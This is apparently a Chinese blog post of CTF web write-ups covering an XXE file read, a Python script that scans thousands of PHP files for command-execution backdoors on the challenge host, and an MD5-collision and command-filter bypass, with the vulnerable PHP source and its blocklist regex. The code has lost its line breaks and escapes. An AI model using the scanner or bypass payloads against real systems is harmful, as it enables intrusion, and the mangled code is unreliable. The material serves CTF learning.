buu web

web

[NCTF2019]Fake XML cookbook

  • 打开界面在这里插入图片描述
  • 随便数入密码，不行，无跳转。
  • 抓包在这里插入图片描述
  • XXE外部实体注入
  • 首先尝试读取文件
  • 在这里插入图片描述
  • 读取成功，猜测flag位置，在根目录下发现
file:///flag

[强网杯 2019]高明的黑客

在这里插入图片描述

  • 慢慢下载。解压后发现几千个文件
  • 全部打开。发现里面很多后门函数。一个个试？发现有的没有，需要写个脚本获得所有的后门
  • 脚本搬运工 来自：博客
import requests
import os
import re
import threading
import timerequests.adapters.DEFAULT_RETRIES = 8 #设置重连次数，防止线程数过高，断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为Falsesem=threading.Semaphore(30) # 设置最大线程数 ,别设置太大，不然还是会崩的挺厉害的，跑到关键的爆炸，心态就爆炸了url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/"# 下载的源文件路径,根据自己的路径修改
path = r"C:UserslenovoDesktopwww\"rrGET = re.compile(r"$_GET['(w+)']") #匹配get参数rrPOST = re.compile(r"$_POST['(w+)']") #匹配post参数fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程local_file = open("flag.txt","w",encoding="utf-8")def run(fileName):with sem:file = open( path + fileName, 'r',encoding='utf-8' )content = file.read()print("[+]checking:%s" % fileName )#测试get的参数for i in rrGET.findall(content):r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )if "~h3zh1~" in r.text:flag = "You Find it in GET fileName = %s and param = %s n" % ( fileName, i )print(flag)local_file.write(flag)#测试post的参数#for i in rrPOST.findall(content):#	r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )#	if "~h3zh1~" in r.text:#		flag = "You Find it in POST: fileName = %s and param = %s n" % ( fileName, i )#		print(flag)#		local_file.writelines(flag)
if __name__ == '__main__':start_time = time.time() # 开始时间print("[start]程序开始:"+str(start_time))thread_list = []for fileName in fileNames:t = threading.Thread( target=run , args=(fileName,) )thread_list.append(t)for t in thread_list:t.start()for t in thread_list:t.join()end_time = time.time()local_file.close()print("[end]程序结束:用时(秒):"+str(end_time-start_time))
#折叠

[安洵杯 2019]easy_web

  • url后异常，cmd命令执行

  • 输入命令，要么禁止或者在这里插入图片描述

  • 在这里插入图片描述

  • img参数可能存在文件包含类漏洞。尝试后发现不行 （后来发现是我错了）

  • 尝试获取源码，扫后台，没发现

  • 打开题目所给的网址得到源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi～ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}
  • 命令绕过以及md5绕过
  • 首先针对md5()。存在String类型强转,本机实验，无法通过数组绕过。
  • 看大佬的绕过方式
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

  • 命令执行的过滤就比较简单

  • dir /看到flag

  • strings /flag

  • 出现的错误：img文件包含漏洞想得没错，但是base64解码后没想到16进制，得到文件名可能会想到包含出index.php在这里插入图片描述

  • 经过一次base解码就能得到源码😫
    在这里插入图片描述

  • 说明原理：为什么这么绕md5() — 工具在线生成

  • 看博客：点击这里

  • fastcoll。md5碰撞快速生成器

  • 官网：https://www.win.tue.nl/hashclash/并且找到了新网站,可以在github上下载https://github.com/cr-marcstevens/hashclash
    推荐跟着教程安装，但是我看了半天也不知道如何使用
    建议是不如积累一点😁，翻了几个答案，找到两种

  • 下面三个url解码后md5()后相同

$s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
$s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab"
$s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
  • 下面两种url解码后md5相同
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

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风君子

独自遨游何稽首 揭天掀地慰生平